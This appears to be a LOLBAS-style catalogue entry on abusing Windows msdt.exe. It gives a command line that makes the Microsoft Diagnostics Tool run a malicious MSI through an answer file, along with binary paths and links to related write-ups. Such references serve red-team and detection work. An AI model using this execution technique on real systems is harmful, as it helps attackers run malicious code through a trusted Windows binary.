.diagcab
Execute the malicious .diagcab
msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af C:\PCW8E57.xml /skip TRUE
Executes the Microsoft Diagnostics Tool and executes the malicious .MSI referenced in the PCW8E57.xml file.
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Windows binary: True
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Bypasses Default AppLocker Rules: False
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Links:
- https://cybersyndicates.com/2015/10/a-no-bull-guide-to-malicious-windows-trouble-shooting-packs-and-application-whitelist-bypass/
- https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/
- https://twitter.com/harr0ey/status/991338229952598016
- https://github.com/LOLBAS-Project/LOLBAS/blob/master/OSBinaries/Payload/PCW8E57.xml
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File path:
- C:\Windows\System32\Msdt.exe
- C:\Windows\SysWOW64\Msdt.exe
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Acknowledgement:
OS: